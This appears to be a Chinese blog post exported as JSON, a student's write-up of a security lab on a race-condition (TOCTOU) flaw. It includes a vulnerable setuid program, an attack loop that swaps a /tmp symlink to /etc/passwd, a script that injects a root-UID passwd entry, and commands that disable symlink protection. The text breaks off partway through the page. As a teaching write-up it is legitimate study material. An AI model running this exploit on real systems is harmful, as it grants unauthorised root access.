{"id":647,"date":"2025-01-01T17:04:25","date_gmt":"2025-01-01T09:04:25","guid":{"rendered":"http:\/\/8.141.27.105\/?p=647"},"modified":"2025-01-02T12:15:26","modified_gmt":"2025-01-02T04:15:26","slug":"%e7%ab%9e%e6%80%81%e6%9d%a1%e4%bb%b6%e6%9f%90%e6%a0%a1%e7%b3%bb%e7%bb%9f%e5%ae%89%e5%85%a8%e5%ae%9e%e9%aa%8c%e4%b8%89","status":"publish","type":"post","link":"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/01\/%e7%ab%9e%e6%80%81%e6%9d%a1%e4%bb%b6%e6%9f%90%e6%a0%a1%e7%b3%bb%e7%bb%9f%e5%ae%89%e5%85%a8%e5%ae%9e%e9%aa%8c%e4%b8%89\/","title":{"rendered":"\u7ade\u6001\u6761\u4ef6|\u67d0\u6821\u7cfb\u7edf\u5b89\u5168\u5b9e\u9a8c3"},"content":{"rendered":"\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_71 counter-hierarchy ez-toc-counter ez-toc-transparent ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">\u76ee\u5f55<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #f4f4f4;color:#f4f4f4\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #f4f4f4;color:#f4f4f4\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 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href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/01\/%e7%ab%9e%e6%80%81%e6%9d%a1%e4%bb%b6%e6%9f%90%e6%a0%a1%e7%b3%bb%e7%bb%9f%e5%ae%89%e5%85%a8%e5%ae%9e%e9%aa%8c%e4%b8%89\/#%E4%BB%BB%E5%8A%A1_1%EF%BC%9A%E9%92%88%E5%AF%B9%E2%80%9C%E7%AB%9E%E6%80%81%E6%9D%A1%E4%BB%B6%E2%80%9D%E6%BC%8F%E6%B4%9E%E7%9A%84%E6%94%BB%E5%87%BB\" title=\"\u4efb\u52a1 1\uff1a\u9488\u5bf9\u201c\u7ade\u6001\u6761\u4ef6\u201d\u6f0f\u6d1e\u7684\u653b\u51fb\">\u4efb\u52a1 1\uff1a\u9488\u5bf9\u201c\u7ade\u6001\u6761\u4ef6\u201d\u6f0f\u6d1e\u7684\u653b\u51fb<\/a><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/01\/%e7%ab%9e%e6%80%81%e6%9d%a1%e4%bb%b6%e6%9f%90%e6%a0%a1%e7%b3%bb%e7%bb%9f%e5%ae%89%e5%85%a8%e5%ae%9e%e9%aa%8c%e4%b8%89\/#%E5%85%B3%E9%97%AD%E4%BF%9D%E6%8A%A4%EF%BC%9A\" title=\"\u5173\u95ed\u4fdd\u62a4\uff1a\">\u5173\u95ed\u4fdd\u62a4\uff1a<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/01\/%e7%ab%9e%e6%80%81%e6%9d%a1%e4%bb%b6%e6%9f%90%e6%a0%a1%e7%b3%bb%e7%bb%9f%e5%ae%89%e5%85%a8%e5%ae%9e%e9%aa%8c%e4%b8%89\/#%E4%B8%8B%E8%BD%BDgcc\" title=\"\u4e0b\u8f7dgcc\">\u4e0b\u8f7dgcc<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/01\/%e7%ab%9e%e6%80%81%e6%9d%a1%e4%bb%b6%e6%9f%90%e6%a0%a1%e7%b3%bb%e7%bb%9f%e5%ae%89%e5%85%a8%e5%ae%9e%e9%aa%8c%e4%b8%89\/#%E7%BC%96%E8%AF%91vulnc%E5%B9%B6setuid\" title=\"\u7f16\u8bd1vuln.c\u5e76setuid:\">\u7f16\u8bd1vuln.c\u5e76setuid:<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/01\/%e7%ab%9e%e6%80%81%e6%9d%a1%e4%bb%b6%e6%9f%90%e6%a0%a1%e7%b3%bb%e7%bb%9f%e5%ae%89%e5%85%a8%e5%ae%9e%e9%aa%8c%e4%b8%89\/#%E7%BC%96%E8%AF%91attackc\" title=\"\u7f16\u8bd1attack.c\">\u7f16\u8bd1attack.c<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/01\/%e7%ab%9e%e6%80%81%e6%9d%a1%e4%bb%b6%e6%9f%90%e6%a0%a1%e7%b3%bb%e7%bb%9f%e5%ae%89%e5%85%a8%e5%ae%9e%e9%aa%8c%e4%b8%89\/#%E4%BB%BB%E5%8A%A1_2%EF%BC%9A%E6%94%B9%E8%BF%9B%E7%9A%84%E6%94%BB%E5%87%BB\" title=\"\u4efb\u52a1 2\uff1a\u6539\u8fdb\u7684\u653b\u51fb\">\u4efb\u52a1 2\uff1a\u6539\u8fdb\u7684\u653b\u51fb<\/a><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/01\/%e7%ab%9e%e6%80%81%e6%9d%a1%e4%bb%b6%e6%9f%90%e6%a0%a1%e7%b3%bb%e7%bb%9f%e5%ae%89%e5%85%a8%e5%ae%9e%e9%aa%8c%e4%b8%89\/#%E5%8E%9F%E7%90%86%EF%BC%9A\" title=\"\u539f\u7406\uff1a\">\u539f\u7406\uff1a<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/01\/%e7%ab%9e%e6%80%81%e6%9d%a1%e4%bb%b6%e6%9f%90%e6%a0%a1%e7%b3%bb%e7%bb%9f%e5%ae%89%e5%85%a8%e5%ae%9e%e9%aa%8c%e4%b8%89\/#%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B-2\" title=\"\u5b9e\u9a8c\u8fc7\u7a0b\">\u5b9e\u9a8c\u8fc7\u7a0b<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/01\/%e7%ab%9e%e6%80%81%e6%9d%a1%e4%bb%b6%e6%9f%90%e6%a0%a1%e7%b3%bb%e7%bb%9f%e5%ae%89%e5%85%a8%e5%ae%9e%e9%aa%8c%e4%b8%89\/#%E4%BB%BB%E5%8A%A1_3%EF%BC%9A%E4%BF%9D%E6%8A%A4%E6%9C%BA%E5%88%B6%EF%BC%9A%E7%B3%BB%E7%BB%9F%E8%87%AA%E5%B8%A6%E4%BF%9D%E6%8A%A4%E7%AD%96%E7%95%A5\" title=\"\u4efb\u52a1 3\uff1a\u4fdd\u62a4\u673a\u5236\uff1a\u7cfb\u7edf\u81ea\u5e26\u4fdd\u62a4\u7b56\u7565\">\u4efb\u52a1 3\uff1a\u4fdd\u62a4\u673a\u5236\uff1a\u7cfb\u7edf\u81ea\u5e26\u4fdd\u62a4\u7b56\u7565<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"http:\/\/n0ps1ed.top\/index.php\/2025\/01\/01\/%e7%ab%9e%e6%80%81%e6%9d%a1%e4%bb%b6%e6%9f%90%e6%a0%a1%e7%b3%bb%e7%bb%9f%e5%ae%89%e5%85%a8%e5%ae%9e%e9%aa%8c%e4%b8%89\/#%E4%BB%BB%E5%8A%A1_4%EF%BC%9A%E4%BF%9D%E6%8A%A4%E6%9C%BA%E5%88%B6%EF%BC%9A%E4%BD%BF%E7%94%A8%E6%9C%80%E5%B0%8F%E7%89%B9%E6%9D%83%E5%8E%9F%E5%88%99\" title=\"\u4efb\u52a1 4\uff1a\u4fdd\u62a4\u673a\u5236\uff1a\u4f7f\u7528\u6700\u5c0f\u7279\u6743\u539f\u5219\">\u4efb\u52a1 4\uff1a\u4fdd\u62a4\u673a\u5236\uff1a\u4f7f\u7528\u6700\u5c0f\u7279\u6743\u539f\u5219<\/a><\/li><\/ul><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h1 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%AE%9E%E9%AA%8C%E5%8E%9F%E7%90%86\"><\/span>\u5b9e\u9a8c\u539f\u7406<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E7%AB%9E%E6%80%81%E6%9D%A1%E4%BB%B6%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86\"><\/span>\u7ade\u6001\u6761\u4ef6\u6f0f\u6d1e\u539f\u7406<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-8f761849 wp-block-group-is-layout-flex\">\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/cloud.tencent.com\/developer\/article\/1516412\">\u6761\u4ef6\u7ade\u4e89\uff08Race condition\uff09\u6f0f\u6d1e\u6316\u6398\u6280\u5de7\u53ca\u5b9e\u6218\u6848\u4f8b\u5168\u6c47\u603b-\u817e\u8baf\u4e91\u5f00\u53d1\u8005\u793e\u533a-\u817e\u8baf\u4e91<\/a><\/p>\n<\/div>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/4IWHCMPEQ@BF2Y0M@1UE.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"847\" height=\"212\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/4IWHCMPEQ@BF2Y0M@1UE.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-648\"  sizes=\"auto, (max-width: 847px) 100vw, 847px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%AE%9E%E9%AA%8C%E6%BA%90%E7%A0%81%E8%A7%A3%E9%87%8A\"><\/span>\u5b9e\u9a8c\u6e90\u7801\u89e3\u91ca<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6f0f\u6d1e\u7a0b\u5e8fvuln\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/* vulp.c *\/\n#include &lt;stdio.h&gt;\n#include&lt;unistd.h&gt;\nint main()\n{\nchar * fn = \"\/tmp\/XYZ\";\nchar buffer&#91;60];\nFILE *fp;\n\/* get user input *\/\nscanf(\"%50s\", buffer );\nif(!access(fn, W_OK)){ \nfp = fopen(fn, \"a+\"); \nfwrite(\"\\n\", sizeof(char), 1, fp);\nfwrite(buffer, sizeof(char), strlen(buffer), fp);\nfclose(fp);\n}\nelse printf(\"No permission \\n\");\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6f0f\u6d1e\u70b9\u5728access\u548cfopen\u4e4b\u95f4\uff0caccess\u51fd\u6570\u7528\u4e8e\u68c0\u67e5 real user \u662f\u5426\u62e5\u6709\u5bf9\u6587\u4ef6\u201c\/tmp\/XYZ\u201d \u7684\u8bbf\u95ee\u6743\u9650,\u5982\u679c\u5728access\u68c0\u6d4b\u901a\u8fc7\u540e\uff0cfopen\u6267\u884c\u524d,\u6539\u53d8<strong>\u7b26\u53f7\u94fe\u63a5<\/strong>\u6307\u5411\uff0cfopen\u5c31\u4f1a\u6253\u5f00\u4fee\u6539\u540e\u7684\u94fe\u63a5\u6307\u5411\u7684\u6587\u4ef6\uff0c\u5982\u679cvuln\u6709root\u7684setuid\u7684\u8bdd\uff0c\u5c31\u80fd\u4fee\u6539\u5177\u6709root\u6743\u9650\u7684\u6587\u4ef6\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">attack\u7a0b\u5e8f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/* attack.c *\/\n#include &lt;unistd.h&gt;\nint main() {\n while(1) {\n unlink(\"\/tmp\/XYZ\");\n symlink(\"\/dev\/null\", \"\/tmp\/XYZ\"); \/\/\u4fee\u6539\u6210\u5f53\u524d\u666e\u901a\u8d26\u6237\u4e0b\u7684\u6587\u4ef6\n \/\/sleep(0.5); \n unlink(\"\/tmp\/XYZ\");\n symlink(\"\/etc\/passwd\", \"\/tmp\/XYZ\");\n \/\/sleep(0.5);\n }\n return 0;\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u653b\u51fb\u7a0b\u5e8f\u5220\u9664<strong>\u7b26\u53f7\u94fe\u63a5<\/strong>\/tmp\/XYZ\uff0c\u7136\u540e\u6267\u884csymlink(&#8220;\/dev\/null&#8221;, &#8220;\/tmp\/XYZ&#8221;)\uff0c\u628a\u7b26\u53f7\u94fe\u63a5\/tmp\/XYZ\u6307\u5411\/dev\/null\uff0c\u6587\u4ef6\/dev\/null\u662f\u4e00\u4e2a\u7279\u6b8a\u7684\u8bbe\u5907\uff0c\u5b83\u5bf9\u4efb\u4f55\u4eba\u90fd\u662f\u53ef\u5199\u7684\uff0c\u8fd9\u4e00\u6b65\u662f\u4e3a\u4e86\u7ed5\u8fc7access\u51fd\u6570\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7ed5\u8fc7access\u51fd\u6570\u540e\uff0c\u518d\u6b21\u5220\u9664<strong>\u7b26\u53f7\u94fe\u63a5<\/strong>\/tmp\/XYZ\uff0c\u6267\u884csymlink(&#8220;\/etc\/passwd&#8221;, &#8220;\/tmp\/XYZ&#8221;)\u628a<strong>\u7b26\u53f7\u94fe\u63a5<\/strong>\/tmp\/XYZ\u6307\u5411\/etc\/passwd\uff0c\u6b64\u65f6\u5c31\u80fd\u4fee\u6539root\u6743\u9650\u7684\/etc\/passwd\u4e86\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7531\u4e8e\u65f6\u95f4\u8981\u6c42\u6bd4\u8f83\u82db\u523b\uff0c\u6240\u4ee5\u9700\u8981while\u5faa\u73af\u6765\u4e0d\u505c\u8c03\u7528\uff0c\u4e89\u53d6\u5728access\u540e\uff0cfopen\u524d\u628a<strong>\u7b26\u53f7\u94fe\u63a5<\/strong>\/tmp\/XYZ\u6307\u5411\/etc\/passwd\uff0c\u8fd9\u5c31\u662f\u6240\u8c13\u201c\u7ade\u4e89\u201d\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6ce8\uff1a\u539f\u5b9e\u9a8c\u6307\u5bfc\u4e66\u4e0a\u7684\u7b2c\u516d\u884c\u662fsymlink(&#8220;\/home\/kali\/myfile&#8221;, &#8220;\/tmp\/XYZ&#8221;); \u4f46\u662f\u4f1a\u51fa\u73b0myfile\u6587\u4ef6\u635f\u574f\u7684\u60c5\u51b5\uff0c\u5efa\u8bae\u76f4\u63a5\u6539\u6210 symlink(&#8220;\/dev\/null&#8221;, &#8220;\/tmp\/XYZ&#8221;);<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"> target\u7a0b\u5e8f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/* target.sh *\/\n#!\/bin\/bash\nCHECK_FILE=\"ls -l \/etc\/passwd\"\nold=$($CHECK_FILE)\nnew=$($CHECK_FILE)\nwhile &#91; \"$old\" == \"$new\" ] \ndo\n echo \"mytest:U6aMy0wojraho:0:0:test:\/root:\/bin\/bash\" | .\/vulp \n new=$($CHECK_FILE)\ndone\necho \"STOP... The passwd file has been changed\"<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">target\u7a0b\u5e8f\u4e0d\u65ad\u8c03\u7528vulp\u7a0b\u5e8f\u5e76\u5199\u5165mytest:U6aMy0wojraho:0:0:test:\/root:\/bin\/bash\uff0c\u5982\u679c\u53d1\u73b0\/etc\/passwd\u5185\u5bb9\u53d1\u751f\u53d8\u5316\uff0c\u5373\u6210\u529f\u88ab\u4fee\u6539\u540e\u5219\u4e2d\u6b62\uff0c\u8f93\u51faSTOP&#8230; The passwd file has been changed\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B\"><\/span>\u5b9e\u9a8c\u8fc7\u7a0b<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E4%BB%BB%E5%8A%A1_1%EF%BC%9A%E9%92%88%E5%AF%B9%E2%80%9C%E7%AB%9E%E6%80%81%E6%9D%A1%E4%BB%B6%E2%80%9D%E6%BC%8F%E6%B4%9E%E7%9A%84%E6%94%BB%E5%87%BB\"><\/span><strong>\u4efb\u52a1 1\uff1a\u9488\u5bf9\u201c\u7ade\u6001\u6761\u4ef6\u201d\u6f0f\u6d1e\u7684\u653b\u51fb<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%85%B3%E9%97%AD%E4%BF%9D%E6%8A%A4%EF%BC%9A\"><\/span>\u5173\u95ed\u4fdd\u62a4\uff1a<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo sysctl -w fs.protected_symlinks=0<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E4%B8%8B%E8%BD%BDgcc\"><\/span>\u4e0b\u8f7dgcc<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo apt install build-essential<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E7%BC%96%E8%AF%91vulnc%E5%B9%B6setuid\"><\/span>\u7f16\u8bd1vuln.c\u5e76setuid:<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>gcc vulp.c -o vulp \nsudo chown root vulp\nsudo chmod 4755 vulp<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\uff08setuid\u7684\u76ee\u7684\u662f\u4e3a\u4e86fopen\u80fd\u6253\u5f00root\u6743\u9650\u7684\u6587\u4ef6\uff09<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E7%BC%96%E8%AF%91attackc\"><\/span>\u7f16\u8bd1attack.c<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>gcc attack.c -o attack<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5c1d\u8bd5\u540c\u65f6\u8fd0\u884cattack\u548ctarget_process.sh\uff0c\u8fd0\u6c14\u597d\u7684\u8bdd\u4f1a\u6210\u529f\uff0c\u4f46\u662f\u5927\u6982\u7387\u4f1a\u51fa\u73b0\u5982\u4e0b\u60c5\u51b5\uff0c\u5373target_process.sh\u7a97\u53e3\u4e0d\u52a8\u4e86,\u91cd\u65b0\u518d\u8fd0\u884c\u4e00\u904d\u8fdeNo permission\u90fd\u4e0d\u5f39\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/EMRFEDSIC19S_4FXTQE_M-1024x249.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"249\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/EMRFEDSIC19S_4FXTQE_M-1024x249.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-652\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6253\u5f00tmp\u770b\u4e00\u4e0b\uff0c\u53d1\u73b0XYZ\u6587\u4ef6\u5df2\u7ecf\u53d8\u6210\u4e86root\u6743\u9650\uff0c\u8fd9\u5c31\u662ftarget_process.sh\u4e0d\u52a8\u4e86\u7684\u539f\u56e0\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/F2OQKR50NAWTYC2DPLJ.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"615\" height=\"374\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/F2OQKR50NAWTYC2DPLJ.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-653\"  sizes=\"auto, (max-width: 615px) 100vw, 615px\" \/><\/div><\/figure>\n\n\n\n<div class=\"wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-8f761849 wp-block-group-is-layout-flex\">\n<p class=\"wp-block-paragraph\"><\/p>\n<\/div>\n\n\n\n<p class=\"wp-block-paragraph\">XYZ\u4f1a\u53d8\u6210root\u6743\u9650\u7684\u539f\u56e0\u5982\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/@FBB9E2FDE_WERC8X.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"947\" height=\"217\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/@FBB9E2FDE_WERC8X.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-654\"  sizes=\"auto, (max-width: 947px) 100vw, 947px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6240\u4ee5\u6b64\u65f6\u9700\u8981\u5728tmp\u7a97\u53e3\u4e0b\u7528sudo rm XYZ\u6765\u5220\u6389XYZ\u6587\u4ef6\uff0c\u5408\u9002\u7684\u64cd\u4f5c\u662f\uff1a\u540c\u65f6\u5f00\u4e09\u4e2a\u7aef\u53e3\uff0c\u4e00\u4e2a\u8dd1attack\uff0c\u4e00\u4e2a\u8dd1target.sh\uff0c\u4e00\u4e2a\u7528\u6765\u5f85\u547d\u5220\u9664XYZ\uff0c\u5f53target.sh\u4e0d\u52a8\u540e\u5c31\u628aXYZ\u5220\u6389\uff0c\u4f1a\u53d1\u73b0target.sh\u53c8\u5f00\u59cb\u52a8\u8d77\u6765\u4e86\uff0c\u5982\u6b64\u64cd\u4f5c\u76f4\u5230\u4fee\u6539\u6210\u529f\u4e3a\u6b62\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">ps\uff1a\u5982\u679c\u957f\u65f6\u95f4\u4e0d\u6210\u529f\uff0c\u5efa\u8bae\u628aattack\u7684sleep\u6ce8\u91ca\u5220\u4e86\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">target.sh\u51fa\u73b0\u4ee5\u4e0b\u60c5\u51b5\u5c31\u662f\u6210\u529f\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/X7R941GP8J43DHH29QVK-1024x635.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"635\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/X7R941GP8J43DHH29QVK-1024x635.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-656\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6253\u5f00\/etc\/passwd\u53ef\u4ee5\u770b\u5230\uff0c\u5df2\u7ecf\u88ab\u5199\u5165\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/@BQR0L0KI0@@9Z9BYCW2.png'><img class=\"lazyload lazyload-style-1\" 